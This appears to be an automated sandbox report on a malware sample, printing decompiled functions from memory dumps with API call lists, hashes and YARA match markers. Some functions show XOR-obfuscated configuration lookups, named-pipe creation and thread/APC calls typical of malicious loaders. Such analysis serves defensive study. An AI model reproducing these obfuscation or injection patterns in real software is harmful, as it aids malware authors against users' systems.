						if(StrToIntExA(_t34, 0,  &_v8) != 0) {
							 *0x47d004 = _v8;
						}
					}
					if(_t85 == 0) {
						_t35 = 0;
					} else {
						_t64 =  *0x47d278; // 0x63699bc3
						_t35 = E004749AA(_t86, _t85, _t64 ^ 0x3603764c);
					}
					if(_t35 != 0) {
						_t86 =  &_v8;
						if(StrToIntExA(_t35, 0,  &_v8) != 0) {
							 *0x47d02c = _v8;
						}
					}
					if(_t85 == 0) {
						_t36 = 0;
					} else {
						_t60 =  *0x47d278; // 0x63699bc3
						_t36 = E004749AA(_t86, _t85, _t60 ^ 0x2cc1f2fd);
					}
					if(_t36 != 0) {
						_push(_t36);
						_t57 = 0x10;
						_t58 = E0047728D(_t57);
						if(_t58 != 0) {
							_push(_t58);
							E0047825F();
						}
					}
					if(_t85 == 0) {
						_t37 = 0;
					} else {
						_t55 =  *0x47d278; // 0x63699bc3
						_t37 = E004749AA(_t86, _t85, _t55 ^ 0xb30fc035);
					}
					if(_t37 != 0 && E0047728D(0, _t37) != 0) {
						_t102 =  *0x47d324; // 0x3bc97d8
						E004729B7(_t102 + 4, _t53);
					}
					if(_t85 == 0) {
						_t38 = 0;
					} else {
						_t50 =  *0x47d278; // 0x63699bc3
						_t38 = E004749AA(_t86, _t85, _t50 ^ 0x372ab5b7);
					}
					if(_t38 == 0) {
						L51:
						_t39 =  *0x47d27c; // 0x374a7d0
						_t18 = _t39 + 0x47e252; // 0x616d692f
						 *0x47d2cc = _t18;
						goto L52;
					} else {
						_t49 = E0047728D(0, _t38);
						 *0x47d2cc = _t49;
						if(_t49 != 0) {
							L52:
							if(_t85 == 0) {
								_t41 = 0;
							} else {
								_t46 =  *0x47d278; // 0x63699bc3
								_t41 = E004749AA(_t86, _t85, _t46 ^ 0xd8dc5cde);
							}
							if(_t41 == 0) {
								_t42 =  *0x47d27c; // 0x374a7d0
								_t19 = _t42 + 0x47e791; // 0x6976612e
								_t43 = _t19;
							} else {
								_t43 = E0047728D(0, _t41);
							}
							 *0x47d340 = _t43;
							HeapFree( *0x47d238, 0, _t85);
							L60:
							return 0;
						}
						goto L51;
					}
				}
			}

0x004723fc
0x004723ff
0x0047241f
0x0047242d
0x0047242d
0x00472432
0x0047244c
0x0047264a
0x0047264c
0x00000000
0x00472452
0x00472452
0x00472459
0x0047246f
0x0047245b
0x0047245b
0x00472468
0x00472468
0x00472479
0x0047247b
0x00472485
0x0047248a
0x0047248a
0x00472485
0x00472491
0x004724a7
0x00472493
0x00472493
0x004724a0
0x004724a0
0x004724ab
0x004724ad
0x004724b7
0x004724bc
0x004724bc
0x004724b7
0x004724c3
0x004724d9
0x004724c5
0x004724c5
0x004724d2
0x004724d2
0x004724dd
0x004724df
0x004724e9
0x004724ee
0x004724ee
0x004724e9
0x004724f5
0x0047250b
0x004724f7
0x004724f7
0x00472504
0x00472504
0x0047250f
0x00472511
0x0047251b
0x00472520
0x00472520
0x0047251b
0x00472527
0x0047253d
0x00472529
0x00472529
0x00472536
0x00472536
0x00472541
0x00472543
0x0047254d
0x00472552
0x00472552
0x0047254d
0x00472559
0x0047256f
0x0047255b
0x0047255b
0x00472568
0x00472568
0x00472573
0x00472575
0x00472578
0x00472579
0x00472580
0x00472582
0x00472583
0x00472583
0x00472580
0x0047258a
0x004725a0
0x0047258c
0x0047258c
0x00472599
0x00472599
0x004725a4
0x004725b2
0x004725bc
0x004725bc
0x004725c3
0x004725d9
0x004725c5
0x004725c5
0x004725d2
0x004725d2
0x004725dd
0x004725f0
0x004725f0
0x004725f5
0x004725fb
0x00000000
0x004725df
0x004725e2
0x004725e9
0x004725ee
0x00472600
0x00472602
0x00472618
0x00472604
0x00472604
0x00472611
0x00472611
0x0047261c
0x00472628
0x0047262d
0x0047262d
0x0047261e
0x00472621
0x00472621
0x0047263b
0x00472640
0x0047264d
0x00472651
0x00472651
0x00000000
0x004725ee
0x004725dd

APIs

StrToIntExA.SHLWAPI(00000000,00000000,?), ref: 00472481
StrToIntExA.SHLWAPI(00000000,00000000,?), ref: 004724B3
StrToIntExA.SHLWAPI(00000000,00000000,?), ref: 004724E5
StrToIntExA.SHLWAPI(00000000,00000000,?), ref: 00472517
StrToIntExA.SHLWAPI(00000000,00000000,?), ref: 00472549
HeapFree.KERNEL32(00000000,00479199,00479199), ref: 00472640

Memory Dump Source

Source File: 00000004.00000002.2416059083.0000000000471000.00000020.00000001.sdmp, Offset: 00470000, based on PE: true

Associated: 00000004.00000002.2416051462.0000000000470000.00000004.00000001.sdmp Download File
Associated: 00000004.00000002.2416070914.000000000047C000.00000002.00000001.sdmp Download File
Associated: 00000004.00000002.2416079374.000000000047D000.00000004.00000001.sdmp Download File
Associated: 00000004.00000002.2416087779.000000000047F000.00000002.00000001.sdmp Download File

Similarity

API ID: FreeHeap
String ID:
API String ID: 3298025750-0
Opcode ID: 9003774e3ba8594240d16b543f09b6536ba8016795ebad329cecb451ee393071
Instruction ID: 3d8c85cfc31e5c86b59d3c82bbb2bb904f0e5c095581ba5313ee74c391236977
Opcode Fuzzy Hash: 9003774e3ba8594240d16b543f09b6536ba8016795ebad329cecb451ee393071
Instruction Fuzzy Hash: 896198B0A10104BBCB20DF759E84CEB77FD9F887107248967A50DD3216EAB8DD82975D

Uniqueness

Uniqueness Score: -1.00%

Function 003B9BA0, Relevance: 9.1, APIs: 6, Instructions: 86
windownativeCOMMON

Download Yara Rule

C-Code - Quality: 38%

			E003B9BA0(void* __eax) {
				struct HWND__* _t21;
				intOrPtr* _t26;
				signed int _t29;
				intOrPtr* _t30;
				int _t33;
				intOrPtr _t36;
				void* _t51;
				int _t60;

				_t51 = __eax;
				_t21 = IsIconic( *(__eax + 0x30));
				if(_t21 != 0) {
					SetActiveWindow( *(_t51 + 0x30));
					if( *((intOrPtr*)(_t51 + 0x44)) == 0 ||  *((char*)(_t51 + 0x5b)) == 0 &&  *((char*)( *((intOrPtr*)(_t51 + 0x44)) + 0x57)) == 0) {
						L6:
						E003B8B08( *(_t51 + 0x30), 9, __eflags);
					} else {
						_t60 = IsWindowEnabled(E003CEEB8( *((intOrPtr*)(_t51 + 0x44))));
						if(_t60 == 0) {
							goto L6;
						} else {
							_push(0);
							_push(0xf120);
							_push(0x112);
							_push( *(_t51 + 0x30));
							L003865BC();
						}
					}
					_t26 =  *0x3d9f60; // 0x3db8f4
					_t29 =  *((intOrPtr*)( *_t26))(1, 0, 0, 0x40) >> 1;
					if(_t60 < 0) {
						asm("adc eax, 0x0");
					}
					_t30 =  *0x3d9f60; // 0x3db8f4
					_t33 =  *((intOrPtr*)( *_t30))(0, _t29) >> 1;
					if(_t60 < 0) {
						asm("adc eax, 0x0");
					}
					SetWindowPos( *(_t51 + 0x30), 0, _t33, ??, ??, ??, ??);
					_t36 =  *((intOrPtr*)(_t51 + 0x44));
					if(_t36 != 0 &&  *((char*)(_t36 + 0x22b)) == 1 &&  *((char*)(_t36 + 0x57)) == 0) {
						E003B4814(_t36, 0);
						E003B6C30( *((intOrPtr*)(_t51 + 0x44)));
					}
					E003B91E8(_t51);
					_t21 =  *0x3dbb20; // 0x2141474
					_t15 = _t21 + 0x64; // 0x0
					_t55 =  *_t15;
					if( *_t15 != 0) {
						_t21 = SetFocus(E003CEEB8(_t55));
					}
					if( *((short*)(_t51 + 0x122)) != 0) {
						return  *((intOrPtr*)(_t51 + 0x120))();
					}
				}
				return _t21;
			}

0x003b9ba2
0x003b9ba8
0x003b9baf
0x003b9bb9
0x003b9bc2
0x003b9bfc
0x003b9c04
0x003b9bd3
0x003b9be1
0x003b9be3
0x00000000
0x003b9be5
0x003b9be5
0x003b9be7
0x003b9bec
0x003b9bf4
0x003b9bf5
0x003b9bf5
0x003b9be3
0x003b9c11
0x003b9c1a
0x003b9c1c
0x003b9c1e
0x003b9c1e
0x003b9c24
0x003b9c2d
0x003b9c2f
0x003b9c31
0x003b9c31
0x003b9c3b
0x003b9c40
0x003b9c45
0x003b9c58
0x003b9c60
0x003b9c60
0x003b9c67
0x003b9c6c
0x003b9c71
0x003b9c71
0x003b9c76
0x003b9c80
0x003b9c80
0x003b9c8d
0x00000000
0x003b9c97
0x003b9c8d
0x003b9c9f

APIs

IsIconic.USER32(?), ref: 003B9BA8
SetActiveWindow.USER32(?), ref: 003B9BB9
IsWindowEnabled.USER32(00000000), ref: 003B9BDC
NtdllDefWindowProc_A.USER32(?,00000112,0000F120,00000000,00000000,?,?,?,?,003B95C9,00000000,003B9A8A), ref: 003B9BF5
SetWindowPos.USER32(?,00000000,00000000,?,?,003B95C9,00000000), ref: 003B9C3B
SetFocus.USER32 ref: 003B9C80

Memory Dump Source

Source File: 00000004.00000002.2415833035.0000000000381000.00000020.00020000.sdmp, Offset: 00380000, based on PE: true

Associated: 00000004.00000002.2415819778.0000000000380000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.2415887998.00000000003D9000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.2415915305.00000000003DD000.00000008.00020000.sdmp Download File
Associated: 00000004.00000002.2415927372.00000000003DF000.00000002.00020000.sdmp Download File

Similarity

API ID: Window$ActiveEnabledFocusIconicNtdllProc_
String ID:
API String ID: 3996302123-0
Opcode ID: e5e0703d0517c447ce28ca01100093d84cd4d894a43a66237ef743b2f5b27da7
Instruction ID: 57d234391fc19b77f039718bb6d28ae5c6d91578a8e251fd5e2600423f13291b
Opcode Fuzzy Hash: e5e0703d0517c447ce28ca01100093d84cd4d894a43a66237ef743b2f5b27da7
Instruction Fuzzy Hash: 24310C717003449BEB12EB68DDC6FA93B9CAB04708F1904A6FB44DF697DA75EC408754

Uniqueness

Uniqueness Score: -1.00%

Function 023494BB, Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 101COMMON

Download Yara Rule

APIs

memset.NTDLL ref: 023494DD

Part of subcall function 023534F7: RtlNtStatusToDosError.NTDLL(00000000), ref: 0235352F
Part of subcall function 023534F7: SetLastError.KERNEL32(00000000), ref: 02353536

GetLastError.KERNEL32(?,00000318,00000008), ref: 023495ED

Part of subcall function 02356EDE: RtlNtStatusToDosError.NTDLL(00000000), ref: 02356EF6

memcpy.NTDLL(00000218,02361BD0,00000100,?,00010003,?,?,00000318,00000008), ref: 0234956C
RtlNtStatusToDosError.NTDLL(00000000), ref: 023495C6

Strings

, xrefs: 02349533

Memory Dump Source

Source File: 00000004.00000002.2416709074.0000000002340000.00000040.00000001.sdmp, Offset: 02340000, based on PE: false

Yara matches

Similarity

API ID: Error$Status$Last$memcpymemset
String ID:
API String ID: 945571674-3916222277
Opcode ID: 38d78d05327fa451e013257da77eee65a79abc300920c46c675e4fbacae247e1
Instruction ID: 775d39759326657ea4d4dd57a913ba381f3654ded6cdb3455c244ea5aec51d76
Opcode Fuzzy Hash: 38d78d05327fa451e013257da77eee65a79abc300920c46c675e4fbacae247e1
Instruction Fuzzy Hash: 59318071901209AFDB20DF64D988BABB7FDEB04314F2045EAE94AD7640EB30EA54CF50

Uniqueness

Uniqueness Score: -1.00%

Function 003CE8A4, Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 81
windowCOMMON

Download Yara Rule

C-Code - Quality: 85%

			E003CE8A4(void* __eax, int __ecx, int __edx, int _a4, int _a8) {
				void* _v20;
				struct _WINDOWPLACEMENT _v48;
				char _v64;
				void* _t31;
				int _t45;
				int _t51;
				void* _t52;
				int _t56;
				int _t58;

				_t56 = __ecx;
				_t58 = __edx;
				_t52 = __eax;
				if(__edx !=  *((intOrPtr*)(__eax + 0x40)) || __ecx !=  *((intOrPtr*)(__eax + 0x44)) || _a8 !=  *((intOrPtr*)(__eax + 0x48))) {
					L4:
					if(E003CF1BC(_t52) == 0) {
						L7:
						 *(_t52 + 0x40) = _t58;
						 *(_t52 + 0x44) = _t56;
						 *((intOrPtr*)(_t52 + 0x48)) = _a8;
						 *((intOrPtr*)(_t52 + 0x4c)) = _a4;
						_t31 = E003CF1BC(_t52);
						__eflags = _t31;
						if(_t31 != 0) {
							_v48.length = 0x2c;
							GetWindowPlacement( *(_t52 + 0x180),  &_v48);
							E003C8070(_t52,  &_v64);
							asm("movsd");
							asm("movsd");
							asm("movsd");
							asm("movsd");
							SetWindowPlacement( *(_t52 + 0x180),  &_v48);
						}
						L9:
						E003C7D24(_t52);
						return E003832F8(_t52, _t66);
					}
					_t45 = IsIconic( *(_t52 + 0x180));
					_t66 = _t45;
					if(_t45 != 0) {
						goto L7;
					}
					SetWindowPos( *(_t52 + 0x180), 0, _t58, _t56, _a8, _a4, 0x14);
					goto L9;
				} else {
					_t51 = _a4;
					if(_t51 ==  *((intOrPtr*)(__eax + 0x4c))) {
						return _t51;
					}
					goto L4;
				}
			}

0x003ce8ad
0x003ce8af
0x003ce8b1
0x003ce8b6
0x003ce8d1
0x003ce8da
0x003ce908
0x003ce908
0x003ce90b
0x003ce911
0x003ce917
0x003ce91c
0x003ce921
0x003ce923
0x003ce925
0x003ce937
0x003ce941
0x003ce94c
0x003ce94d
0x003ce94e
0x003ce94f
0x003ce95b
0x003ce95b
0x003ce960
0x003ce962
0x00000000
0x003ce96d
0x003ce8e3
0x003ce8e8
0x003ce8ea
0x00000000
0x00000000
0x003ce901
0x00000000
0x003ce8c5
0x003ce8c5
0x003ce8cb
0x003ce978
0x003ce978
0x00000000
0x003ce8cb

APIs

IsIconic.USER32(?), ref: 003CE8E3
SetWindowPos.USER32(?,00000000,?,?,?,?,00000014), ref: 003CE901
GetWindowPlacement.USER32(?,0000002C), ref: 003CE937
SetWindowPlacement.USER32 ref: 003CE95B

Strings

,, xrefs: 003CE925

Memory Dump Source

Source File: 00000004.00000002.2415833035.0000000000381000.00000020.00020000.sdmp, Offset: 00380000, based on PE: true

Associated: 00000004.00000002.2415819778.0000000000380000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.2415887998.00000000003D9000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.2415915305.00000000003DD000.00000008.00020000.sdmp Download File
Associated: 00000004.00000002.2415927372.00000000003DF000.00000002.00020000.sdmp Download File

Similarity

API ID: Window$Placement$Iconic
String ID: ,
API String ID: 568898626-3772416878
Opcode ID: 9fe3e4928bac82db49c1d556e408ad37f7c49199321cfb65d87de4e909e1b17e
Instruction ID: a157efdf715e95cc2b50f76c4a9d97613ef5c048c2a0f0d2648cf6186c977a78
Opcode Fuzzy Hash: 9fe3e4928bac82db49c1d556e408ad37f7c49199321cfb65d87de4e909e1b17e
Instruction Fuzzy Hash: 08213272600208ABCF56EF68C8C5F9A77A8AF09710F058469FD14DF246DB75ED048BA0

Uniqueness

Uniqueness Score: -1.00%

Function 023427ED, Relevance: 7.7, APIs: 5, Instructions: 155memoryfileCOMMON

Download Yara Rule

APIs

StrChrA.SHLWAPI ref: 02342878
HeapFree.KERNEL32(00000000,00000000), ref: 02342920
DeleteFileA.KERNEL32(?,?,?,?,?,?,00000001), ref: 02342942
HeapFree.KERNEL32(00000000,?), ref: 02342951
HeapFree.KERNEL32(00000000,?), ref: 02342969

Memory Dump Source

Source File: 00000004.00000002.2416709074.0000000002340000.00000040.00000001.sdmp, Offset: 02340000, based on PE: false

Yara matches

Similarity

API ID: FreeHeap$DeleteFile
String ID:
API String ID: 3719452183-0
Opcode ID: 69d9bd4961c0c1a34587f031538a3cebba3e3da6125cef5a30767b7058d65593
Instruction ID: d9d2528f9fbd5d91395645f029642d364c78bccf7f25289fc5c0946c9c68a974
Opcode Fuzzy Hash: 69d9bd4961c0c1a34587f031538a3cebba3e3da6125cef5a30767b7058d65593
Instruction Fuzzy Hash: BE5145B2944311AFD7219B24DC49FABB7FCEF06704F054484F940AB142DB20A927CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 003B9AF0, Relevance: 7.6, APIs: 5, Instructions: 59
nativewindowCOMMON

Download Yara Rule

C-Code - Quality: 72%

			E003B9AF0(void* __eax) {
				struct HWND__* _t21;
				void* _t40;

				_t40 = __eax;
				_t21 = IsIconic( *(__eax + 0x30));
				if(_t21 == 0) {
					E003B91D8();
					SetActiveWindow( *(_t40 + 0x30));
					if( *((intOrPtr*)(_t40 + 0x44)) == 0 ||  *((char*)(_t40 + 0x5b)) == 0 &&  *((char*)( *((intOrPtr*)(_t40 + 0x44)) + 0x57)) == 0 || IsWindowEnabled(E003CEEB8( *((intOrPtr*)(_t40 + 0x44)))) == 0) {
						_t21 = E003B8B08( *(_t40 + 0x30), 6, __eflags);
					} else {
						_t43 =  *((intOrPtr*)(_t40 + 0x44));
						SetWindowPos( *(_t40 + 0x30), E003CEEB8( *((intOrPtr*)(_t40 + 0x44))),  *( *((intOrPtr*)(_t40 + 0x44)) + 0x40),  *( *((intOrPtr*)(_t40 + 0x44)) + 0x44),  *(_t43 + 0x48), 0, 0x40);
						_push(0);
						_push(0xf020);
						_push(0x112);
						_t21 =  *(_t40 + 0x30);
						_push(_t21);
						L003865BC();
					}
					if( *((short*)(_t40 + 0x11a)) != 0) {
						return  *((intOrPtr*)(_t40 + 0x118))();
					}
				}
				return _t21;
			}

0x003b9af2
0x003b9af8
0x003b9aff
0x003b9b07
0x003b9b10
0x003b9b19
0x003b9b80
0x003b9b3c
0x003b9b40
0x003b9b5c
0x003b9b61
0x003b9b63
0x003b9b68
0x003b9b6d
0x003b9b70
0x003b9b71
0x003b9b71
0x003b9b8d
0x00000000
0x003b9b97
0x003b9b8d
0x003b9b9f

APIs

IsIconic.USER32(?), ref: 003B9AF8
SetActiveWindow.USER32(?), ref: 003B9B10
IsWindowEnabled.USER32(00000000), ref: 003B9B33
SetWindowPos.USER32(?,00000000,?,?,?,00000000,00000040), ref: 003B9B5C
NtdllDefWindowProc_A.USER32(?,00000112,0000F020,00000000,?,00000000,?,?,?,00000000,00000040,00000000,?,?,?,?), ref: 003B9B71

Memory Dump Source

Source File: 00000004.00000002.2415833035.0000000000381000.00000020.00020000.sdmp, Offset: 00380000, based on PE: true

Associated: 00000004.00000002.2415819778.0000000000380000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.2415887998.00000000003D9000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.2415915305.00000000003DD000.00000008.00020000.sdmp Download File
Associated: 00000004.00000002.2415927372.00000000003DF000.00000002.00020000.sdmp Download File

Similarity

API ID: Window$ActiveEnabledIconicNtdllProc_
String ID:
API String ID: 1720852555-0
Opcode ID: a87921ae41365b7f01a0eadd53965670256a020db4470e92d5f7517282ddc469
Instruction ID: de47d1b5c9622f8bffc564a44e26f859503d93817162204f19598b89d6afc78c
Opcode Fuzzy Hash: a87921ae41365b7f01a0eadd53965670256a020db4470e92d5f7517282ddc469
Instruction Fuzzy Hash: 8711C5716002049BDB56EF68D9CAFEA37ACAF08304F4904A9BF05DF69BD675EC408764

Uniqueness

Uniqueness Score: -1.00%

Function 003A5390, Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 46
COMMON

Download Yara Rule

C-Code - Quality: 79%

			E003A5390(void* __edi, struct HWND__* _a4, signed int _a8) {
				struct _WINDOWPLACEMENT _v48;
				void* __ebx;
				void* __esi;
				void* __ebp;
				signed int _t19;
				intOrPtr _t21;
				struct HWND__* _t23;

				_t19 = _a8;
				_t23 = _a4;
				if( *0x3db91d != 0) {
					if((_t19 & 0x00000003) == 0) {
						if(IsIconic(_t23) == 0) {
							GetWindowRect(_t23,  &(_v48.rcNormalPosition));
						} else {
							GetWindowPlacement(_t23,  &_v48);
						}
						return E003A5300( &(_v48.rcNormalPosition), _t19);
					}
					return 0x12340042;
				}
				_t21 =  *0x3db8f8; // 0x3a5390
				 *0x3db8f8 = E003A5190(1, _t19, _t21, __edi, _t23);
				return  *0x3db8f8(_t23, _t19);
			}

0x003a5398
0x003a539b
0x003a53a5
0x003a53cf
0x003a53e0
0x003a53f3
0x003a53e2
0x003a53e7
0x003a53e7
0x00000000
0x003a53fd
0x00000000
0x003a53d1
0x003a53ac
0x003a53b9
0x00000000

Strings

MonitorFromWindow, xrefs: 003A53A7

Memory Dump Source

Source File: 00000004.00000002.2415833035.0000000000381000.00000020.00020000.sdmp, Offset: 00380000, based on PE: true

Associated: 00000004.00000002.2415819778.0000000000380000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.2415887998.00000000003D9000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.2415915305.00000000003DD000.00000008.00020000.sdmp Download File
Associated: 00000004.00000002.2415927372.00000000003DF000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID: MonitorFromWindow
API String ID: 0-2842599566
Opcode ID: 9aab371a104a61d8662174df52a676338f6bae1d0dee6fa33a9ebff153183e70
Instruction ID: 245373ded7591a4251be4094b7f545f42edc5db60f76f821e4e183546f9583c4
Opcode Fuzzy Hash: 9aab371a104a61d8662174df52a676338f6bae1d0dee6fa33a9ebff153183e70
Instruction Fuzzy Hash: 1401D676501A18EA8B03EB51DC82EFEB39CDB0A350F514412F8119B681D7749E4597E1

Uniqueness

Uniqueness Score: -1.00%

Function 003ADDB8, Relevance: 6.0, APIs: 4, Instructions: 46
sleepCOMMON

Download Yara Rule

C-Code - Quality: 58%

			E003ADDB8(void* __eax, void* __ebx, void* __edi, void* __esi) {
				char _v8;
				CHAR* _t20;
				long _t25;
				intOrPtr _t30;
				void* _t34;
				intOrPtr _t37;

				_push(0);
				_t34 = __eax;
				_push(_t37);
				_push(0x3ade35);
				_push( *[fs:eax]);
				 *[fs:eax] = _t37;
				E003AD818(__eax);
				_t25 = GetTickCount();
				do {
					Sleep(0);
				} while (GetTickCount() - _t25 <= 0x3e8);
				E003AD418(_t34, _t25,  &_v8, 0, __edi, _t34);
				if(_v8 != 0) {
					_t20 = E0038437C(_v8);
					WinHelpA( *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t34 + 0x1c)))) + 0xc))(), _t20, 9, 0);
				}
				_pop(_t30);
				 *[fs:eax] = _t30;
				_push(0x3ade3c);
				return E00383EBC( &_v8);
			}

0x003addbb
0x003addbf
0x003addc3
0x003addc4
0x003addc9
0x003addcc
0x003addd1
0x003adddb
0x003adddd
0x003adddf
0x003addeb
0x003addf9
0x003ade02
0x003ade0b
0x003ade1a
0x003ade1a
0x003ade21
0x003ade24
0x003ade27
0x003ade34

APIs

Part of subcall function 003AD818: WinHelpA.USER32 ref: 003AD827

GetTickCount.KERNEL32(00000000,003ADE35,?,?,00000000,00000000,?,003ADDAE), ref: 003ADDD6
Sleep.KERNEL32(00000000,00000000,003ADE35,?,?,00000000,00000000,?,003ADDAE), ref: 003ADDDF
GetTickCount.KERNEL32(00000000,00000000,003ADE35,?,?,00000000,00000000,?,003ADDAE), ref: 003ADDE4
WinHelpA.USER32 ref: 003ADE1A

Memory Dump Source

Source File: 00000004.00000002.2415833035.0000000000381000.00000020.00020000.sdmp, Offset: 00380000, based on PE: true

Associated: 00000004.00000002.2415819778.0000000000380000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.2415887998.00000000003D9000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.2415915305.00000000003DD000.00000008.00020000.sdmp Download File
Associated: 00000004.00000002.2415927372.00000000003DF000.00000002.00020000.sdmp Download File

Similarity

API ID: CountHelpTick$Sleep
String ID:
API String ID: 2438605093-0
Opcode ID: ae6250d2e0f53d17d80f399233c315806f1bfa05a2840242904f0fd165e8b15e
Instruction ID: 809acda1ca53812d012c1f570a7d53874c3a945ebb3341f2c5c0d87288637246
Opcode Fuzzy Hash: ae6250d2e0f53d17d80f399233c315806f1bfa05a2840242904f0fd165e8b15e
Instruction Fuzzy Hash: 5C016D35700304AFE713FBB9CC47F6EB7A8DB49B00F5145B1F5019AA92DAB4AE048661

Uniqueness

Uniqueness Score: -1.00%

Function 0234DEE0, Relevance: 6.0, APIs: 4, Instructions: 45pipeCOMMON

Download Yara Rule

APIs

CreateNamedPipeA.KERNEL32(40000003,00000004,000000FF,00000100,00000100,00000000,02367160,00000001), ref: 0234DF04
GetLastError.KERNEL32(?,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,0235FFB2), ref: 0234DF4F

Part of subcall function 02346B6B: CreateThread.KERNELBASE(00000000,00000000,00000000,02341C4C,?,02341C4C), ref: 02346B82
Part of subcall function 02346B6B: QueueUserAPC.KERNEL32(?,00000000,?,?,?,?,?,?,00000040), ref: 02346B97
Part of subcall function 02346B6B: GetLastError.KERNEL32(771422D0,?,?,?,?,?,00000040), ref: 02346BA2
Part of subcall function 02346B6B: TerminateThread.KERNEL32(00000000,00000000,?,?,?,?,?,00000040), ref: 02346BAC
Part of subcall function 02346B6B: CloseHandle.KERNEL32(00000000), ref: 02346BB3
Part of subcall function 02346B6B: SetLastError.KERNEL32(00000000,?,?,?,?,?,00000040), ref: 02346BBC

GetLastError.KERNEL32(Function_0000D409,00000000,00000000,?,00000000), ref: 0234DF37
CloseHandle.KERNEL32(00000000), ref: 0234DF47

Memory Dump Source

Source File: 00000004.00000002.2416709074.0000000002340000.00000040.00000001.sdmp, Offset: 02340000, based on PE: false

Yara matches

Similarity

API ID: ErrorLast$CloseCreateHandleThread$NamedPipeQueueTerminateUser
String ID:
API String ID: 1700061692-0
Opcode ID: 198fd7118338046cae5e0397d8a16b6e20d0b26b3549ac817c29b0463b988c6e
Instruction ID: 57e51c1818d703c56ae702678645d7d965f40fb7802604e54839fc7d67b8909c
Opcode Fuzzy Hash: 198fd7118338046cae5e0397d8a16b6e20d0b26b3549ac817c29b0463b988c6e
Instruction Fuzzy Hash: 78F0A4B07453046FE3211B68AC8DE7777ACEB45738F044AB5F516C22C0CA601C26C574

Uniqueness

Uniqueness Score: -1.00%

Function 00431146, Relevance: 6.0, APIs: 4, Instructions: 38
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00431146() {
				void* _t1;
				long _t3;
				void* _t4;
				long _t5;
				void* _t6;
				intOrPtr _t8;
				void* _t12;

				_t8 =  *0x434130;
				_t1 = CreateEventA(0, 1, 0, 0);
				 *0x43413c = _t1;
				if(_t1 == 0) {
					return GetLastError();
				}
				_t3 = GetVersion();
				if(_t3 != 5) {
					L4:
					if(_t12 <= 0) {
						_t4 = 0x32;
						return _t4;
					} else {
						goto L5;
					}
				} else {
					if(_t3 > 0) {
						L5:
						 *0x43412c = _t3;
						_t5 = GetCurrentProcessId();
						 *0x434128 = _t5;
						 *0x434130 = _t8;
						_t6 = OpenProcess(0x10047a, 0, _t5);
						 *0x434124 = _t6;
						if(_t6 == 0) {
							 *0x434124 =  *0x434124 | 0xffffffff;
						}
						return 0;
					} else {
						_t12 = _t3 - _t3;
						goto L4;
					}
				}
			}

0x00431147
0x00431155
0x0043115d
0x00431162
0x004311b4
0x004311b4
0x00431164
0x0043116c
0x00431174
0x00431174
0x004311b0
0x004311b2
0x00000000
0x00000000
0x00000000
0x0043116e
0x00431170
0x00431176
0x00431176
0x0043117b
0x00431189
0x0043118e
0x00431194
0x0043119c
0x004311a1
0x004311a3
0x004311a3
0x004311ad
0x00431172
0x00431172
0x00000000
0x00431172
0x00431170

APIs

CreateEventA.KERNEL32(00000000,00000001,00000000,00000000,?,0043100C), ref: 00431155
GetVersion.KERNEL32(?,0043100C), ref: 00431164
GetCurrentProcessId.KERNEL32(?,0043100C), ref: 0043117B
OpenProcess.KERNEL32(0010047A,00000000,00000000,?,0043100C), ref: 00431194

Memory Dump Source

Source File: 00000004.00000002.2416019443.0000000000430000.00000040.00000001.sdmp, Offset: 00430000, based on PE: true

Associated: 00000004.00000002.2416029859.0000000000435000.00000040.00000001.sdmp Download File

Similarity

API ID: Process$CreateCurrentEventOpenVersion
String ID:
API String ID: 845504543-0
Opcode ID: da581cc1060774b833dc34722391b27464f10cc5bcc37472ebada478b39d5ce9
Instruction ID: 80d600b5d173377b3bd617ed78ac28ea73c8dddd99302e4b0b21b122884b618a
Opcode Fuzzy Hash: da581cc1060774b833dc34722391b27464f10cc5bcc37472ebada478b39d5ce9
Instruction Fuzzy Hash: 64F04931A907109AEF209F68BC097C93BA4E75D723F006236E684D62F8D3A465828B0C

Uniqueness

Uniqueness Score: -1.00%

Function 003A0AE8, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 46
windowCOMMON

Download Yara Rule

C-Code - Quality: 58%

			E003A0AE8(void* __ebx) {
				char _v260;
				char _v264;
				long _t21;
				void* _t22;
				intOrPtr _t27;
				void* _t32;

				_v264 = 0;
				_push(_t32);
				_push(0x3a0b84);
				_push( *[fs:eax]);
				 *[fs:eax] = _t32 + 0xfffffefc;
				_t21 = GetLastError();
				if(_t21 == 0 || FormatMessageA(0x1000, 0, _t21, 0x400,  &_v260, 0x100, 0) == 0) {
					E003A0A94(_t22);
				} else {
					E0038412C( &_v264, 0x100,  &_v260);
					E0038B5C4(_v264, 1);
					E00383870();
				}
				_pop(_t27);
				 *[fs:eax] = _t27;
				_push(E003A0B8B);
				return E00383EBC( &_v264);
			}

0x003a0af4
0x003a0afc
0x003a0afd
0x003a0b02
0x003a0b05
0x003a0b0d
0x003a0b11
0x003a0b66
0x003a0b37
0x003a0b48
0x003a0b5a
0x003a0b5f
0x003a0b5f
0x003a0b6d
0x003a0b70
0x003a0b73
0x003a0b83

APIs

GetLastError.KERNEL32(00000000,003A0B84), ref: 003A0B08
FormatMessageA.KERNEL32(00001000,00000000,00000000,00000400,?,00000100,00000000,00000000,003A0B84), ref: 003A0B2E

Strings

\K9, xrefs: 003A0B55

Memory Dump Source

Source File: 00000004.00000002.2415833035.0000000000381000.00000020.00020000.sdmp, Offset: 00380000, based on PE: true

Associated: 00000004.00000002.2415819778.0000000000380000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.2415887998.00000000003D9000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.2415915305.00000000003DD000.00000008.00020000.sdmp Download File
